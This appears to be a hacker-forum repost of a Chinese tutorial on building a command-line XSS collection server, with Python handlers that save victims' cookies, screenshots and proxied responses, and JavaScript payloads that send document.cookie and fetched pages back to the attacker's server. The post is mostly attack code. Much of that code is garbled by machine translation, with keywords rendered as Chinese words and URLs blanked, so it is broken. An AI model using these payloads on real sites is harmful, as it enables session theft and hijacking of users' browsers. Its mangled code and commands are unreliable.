跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

渗透工具开发——XSS平台的命令行实现

精选回复

发布于

0x00 前言

通过XSS平台,能够便于对XSS漏洞进行测试,获得重要信息。目前,可供使用的在线XSS平台有很多,也可以尝试自己搭建XSS平台。

但是,如果测试目标无法出网,我们就需要在内网搭建一个轻量化的XSS平台,既要安装方便,又要支持跨平台。

我暂时没有找到合适的开源工具,于是打算使用计算机编程语言编写一个命令行工具,提供XSS平台的功能

0x01 简介

本文将要介绍以下内容:

设计思路

实现细节

开源代码

0x02 设计思路

参照XSS平台,命令行工具需要提供以下功能:

1.创建HTTPS服务器,提供网服务

2.区分不同的数据,提取出关键内容并保存

3.功能模块化,便于二次开发

0x03 实现细节

1.创建HTTPS服务器,提供WEB服务

首先需要创建证书,这里可以使用openssl,命令如下:

OpenSSL req-new-x509-key out https _ SVR _ key。PEM-out https _ SVR _ key。PEM-天数3650-节点

生成证书文件https_svr_key.pem

创建HTTPS服务器的Python3测试代码如下:

从http.server导入SimpleHTTPRequestHandler

从超文本传送协议(Hyper Text Transport Protocol的缩写)导入服务器

导入安全套接层

类请求处理程序(SimpleHTTPRequestHandler):

def do_GET(self):

f=self.send_head()

如果女:

self.copyfile(f,self.wfile)

f.close()

端口=443

httpd=服务器HTTPServer(('0.0.0.0 ',port),RequestHandler)

httpd。套接字=SSL。wrap _ socket(httpd。socket,certfile='https_svr_key.pem ',server_side=True)

打印(' HTTTPS服务器侦听0 .0 .0 .0:% d ' %端口'

httpd.serve_forever()

以上代码将会创建一个支持HTTPS协议的网服务器,功能同python -m SimpleHTTPServer 8000类似

2.区分不同的数据,提取出关键内容并保存

需要自定义处理模块请求处理程序,处理得到包和邮政包

处理得到包的代码如下:

类请求处理程序(SimpleHTTPRequestHandler):

def do_GET(self):

f=self.send_head()

如果女:

self.copyfile(f,self.wfile)

f.close()

打印(self.headers['用户代理'])

如果self.path中有"/cookie ":

当地时间=时间。strftime(' % Y % M % d-% H % M % S ',time.localtime())

保存路径=自身。client _ address[0]'-Cookie-' str(本地时间)' .文本'

打印('[ ]新Cookie:')

打印("另存为:"保存路径)

cookieData=URL lib。解析。un引用(自我。路径[15:])

文件=打开(保存路径,“wb”)

file.write(cookieData.encode())

file.close()

其中,打印(自身标题)用来输出得到请求的页眉内容,可用于识别用户浏览器

为了获取用户饼干,这里采用自定义格式,如果得到请求的地址带有甜饼干字符,将请求内容保存成文件,存储获得的用户饼干

处理邮政包的代码如下:

类请求处理程序(SimpleHTTPRequestHandler):

def do_POST(self):

数据='成功'

self.send_response(200)

self.send_header('Content-type ',' text/plain ')

self.end_headers()

自我。wfile。写(数据。编码(' utf-8 '))

req _ data=自身。rfile。read(int(self。标题[' content-length ']))

打印(self.headers['用户代理'])

if self.path=='/screen ':

当地时间=时间。strftime(' % Y % M % d-% H % M % S ',time.localtime())

保存路径=自身。client _ address[0]'-捕获屏幕-' str(本地时间)' .巴布亚新几内亚

打印('[ ]新捕获屏幕: ')

打印("另存为:"保存路径)

base64 str=URL lib。解析。un报价(req _ datas。decode())

base64str=base64str[33:]

img数据=base64。b 64解码(base64字符串)

文件=打开(保存路径,“wb”)

file.write(imgData)

file.close()

elif self.path=='/data ':

当地时间=时间。strftime(' % Y % M % d-% H % M % S ',time.localtime())

保存路径=自身。client _ address[0]'-XMLHttpRequest-' str(本地时间)' .' html '

http data=URL lib。解析。un报价(req _ datas。decode())

index=http数据。索引(';数据=')

targetURL=httpData[9:index]

responseData=httpData[index 6:]

打印('[ ]新的XMLHttpRequest’)

打印(' TargetURL: ' targetURL ')

打印("另存为:"保存路径)

文件=打开(保存路径,“wb”)

file.write(responseData.encode())

file.close()

否则:

print(req_datas.decode())

以上代码会对邮政包统一回复文本内容成功,状态码为200

对邮政请求的地址进行判断,分别对应以下三个功能:

(1)保存用户屏幕截图

请求地址为/屏幕

从邮政请求的参数中提取图像数据,作Base64解码后保存

(2)控制用户向指定地址发送http数据包,保存返回结果

请求地址为/数据

从邮政请求的参数中提取数据并保存

(3)默认功能

命令行输出邮政请求的参数

注:

以上三个功能在提取数据内容时,需要使用urllib.parse.unquote()进行解码

3.功能模块化,便于二次开发

默认XSS平台的访问地址为:https:///index.js

创建HTTPS服务器后,只需要编辑计算机编程语言脚本同级目录下的索引。射流研究…即可

这里介绍以下两个射流研究…脚本实现的功能:

(1)获取用户Cookie

读取用户饼干可使用document.cookie

在回传饼干数据时,为了避免跨域问题,可使用图像对象,示例代码如下:

var服务器URL=' https:///cookie ';//更改此内容

var new img=new Image();

newimg.src=serverUrl '?cookie=' escape(文档。cookie);

使用图像对象,只能发送得到请求,无法获得响应内容,只能通过错误和装载事件判断是否响应

(2)通过js发送HTTP请求

超文本传送协议请求支持得到和帖子,还需要区分同步和异步方法

对于同步方法,调用一旦开始,调用者必须等到方法调用返回后才能继续后续的行为。为了将请求结果回传至服务器,可以通过返回获得数据包的返回结果后再进行回传

对于异步方法,调用一旦开始,方法调用就会立即返回。为了将请求结果回传至服务器,这里可以通过回调函数回收实现

回调函数回收的简单理解:函数可以作为参数在另一个函数中被调用

例如如下代码:

函数测试1(回调)

{

a=1

回拨(一)

}

测试1(函数{console.log(x)})

执行代码后将在控制台输出一

综上,向指定全球资源定位器(统一资源定位器)发送得到数据包,将请求结果回传至服务器可使用两种方法:

方法1:同步方法

函数初始化()

var xmlHttp

如果(窗口XMLHttpRequest)

{//IE7、火狐、Chrome、Opera、Safari的代码

xmlhttp=new XMLHttpRequest();

}

其他

{//IE6、IE5的代码

xmlhttp=新建ActiveX对象(' Microsoft .XMLHTTP’);

}

返回xmlHttp

}

函数getSynchronous(url) {

var XML http=initialize();

xmlhttp.open('GET ',url,false);

xmlhttp。send();

返回xmlhttp.responseText

}

函数postSynchronous(url,数据,类型){

var XML http=initialize();

xmlhttp.open('POST ',url,false);

xmlhttp。setrequestheader(' Content-type ',type);

xmlhttp。send(encodeURIComponent(data));

返回xmlhttp.responseText

}

var xmlhttp

var服务器URL=' https:///data ';

var targetUrl=' ' '?数学。random();

响应数据=get synchronous(targetUrl);

postSynchronous(serverUrl,' location=' targetUrl ');data=' responseData,' application/x-www-form-urlencoded ');

方法2:异步方法回调函数

函数初始化()

var xmlHttp

如果(窗口XMLHttpRequest)

{//IE7、火狐、Chrome、Opera、Safari的代码

xmlhttp=new XMLHttpRequest();

}

其他

{//IE6、IE5的代码

xmlhttp=新建ActiveX对象(' Microsoft .XMLHTTP’);

}

返回xmlHttp

}

函数getAsynchronous(url,回调){

var XML http=initialize();

xmlhttp.open('GET ',url,true);

xmlhttp。send();

xmlhttp。onreadystatechange=function()

{

if(xmlhttp。就绪状态==4 xmlhttp。状态==200)

{

如果(回拨)

{

回调(xmlhttp。responsetext);

}

}

}

}

函数异步后(url,数据,类型,回调){

var XML http=initialize();

xmlhttp.open('POST ',url,true);

xmlhttp。setrequestheader(' Content-type ',type);

xmlhttp。send(encodeURIComponent(data));

xmlhttp。onreadystatechange=function()

{

if(xmlhttp。就绪状态==4 xmlhttp。状态==200)

{

如果(回拨)

{

回调(a . responsetext);

}

}

}

}

var xmlhttp

var serverUrl='https:///data '

var targetUrl=' ' '?数学。random();

getAsynchronous(targetUrl,function(responseText){ post asynchronous(服务器Url,' location=' targetUrl ');data=' responseText,' application/x-www-form-urlencoded ',' ');});

注:

发送请求时加了参数?t=' Math.random()是为了防止接收到服务器的缓存页面

对于铬浏览器,在发送超文本传送协议请求时,如果进行跨域访问,Chrome会提示请求被克-奥二氏分级量表协议阻止,但不影响数据的发送和接收

0x04 开源代码

完整代码已开源,地址如下:

https://github.com/3gstudent/pyXSSPlatform

pyXSSPlatform可直接在命令行下运行,支持以下三个功能:

获取饼干,获得用户饼干,保存为。文本文件(文本文件)文件

捕捉屏幕,截取用户屏幕,保存为100 . png文件

获取/发布,控制用户向指定地址发送超文本传送协议(超文本传输协议的缩写)数据包,结果保存为。超文本标记语言文件

使用方法:

(1)通过openssl生成自签名证书,命令示例:

OpenSSL req-new-x509-key out https _ SVR _ key。PEM-out https _ SVR _ key。PEM-天数3650-节点

(2)编辑文件index.js

填入要加载的射流研究…代码,代码模板可参考有效负载_模板中的文件

(3)启动WEB服务器,命令示例:

pyxssplatform。py 192。168 .1 .1 443 https _ SVR _ key。PrivacyEnhancedMail增强的私密电子邮件

此时,XSS平台的启动地址如下:

https://192.168.1.1/index.js

可随时修改索引。射流研究…控制用户执行不同的功能

0x05 小结

本文介绍了通过计算机编程语言搭建HTTPS服务器并在命令行实现XSS平台的方法,开源工具pyXSSPlatform,操作方便,支持跨平台运行,可进行二次开发。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。